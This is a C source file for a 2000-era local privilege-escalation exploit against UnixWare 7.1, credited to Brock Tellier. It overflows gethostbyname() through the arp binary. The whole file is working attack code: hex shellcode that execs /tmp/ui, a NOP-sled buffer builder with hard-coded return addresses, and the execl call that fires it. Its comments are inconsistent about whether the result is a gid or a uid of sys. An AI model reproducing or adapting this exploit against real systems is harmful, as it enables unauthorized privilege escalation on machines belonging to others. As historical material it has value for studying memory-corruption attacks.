/**
 ** UnixWare 7.1 arp exploit yields gid of sys
 ** Demonstrates overflow in uw71's gethostbyname()
 ** use offsets of +-100
 ** Brock Tellier btellier@usa.net
 **
 **/

#include <stdlib.h>
#include <stdio.h>

char scoshell[]=
  "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  "\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define LEN 3500
#define NOP 0x90

/* cc != gcc, use hard-coded addresses usually within 0x8045xxxx-0x8048xxxx
unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}
*/

int main(int argc, char *argv[])
{

  long int offset=0;

  int i;
  int buflen = LEN;
  long int addr;
  char buf[LEN];

  if(argc > 3)
    {
      fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
      exit(0);
    }
  else if (argc == 2)
    {
      offset=atoi(argv[1]);
    }
  else if (argc == 3)
    {
      offset=atoi(argv[1]);
      buflen=atoi(argv[2]);
    }
  else
    {
      offset=100;
      buflen=3000;
    }

  addr=0x8046b75 + offset;

  fprintf(stderr, "\nUnixWare 7.1 arp exploit yields uid of sys\n");
  fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
  fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

  memset(buf,NOP,buflen);
  memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
    *(int *)&buf[i]=addr;

  execl("/usr/sbin/arp", "arp", buf,
        NULL);

  exit(0);
}
/*                    www.hack.co.za              [2000]*/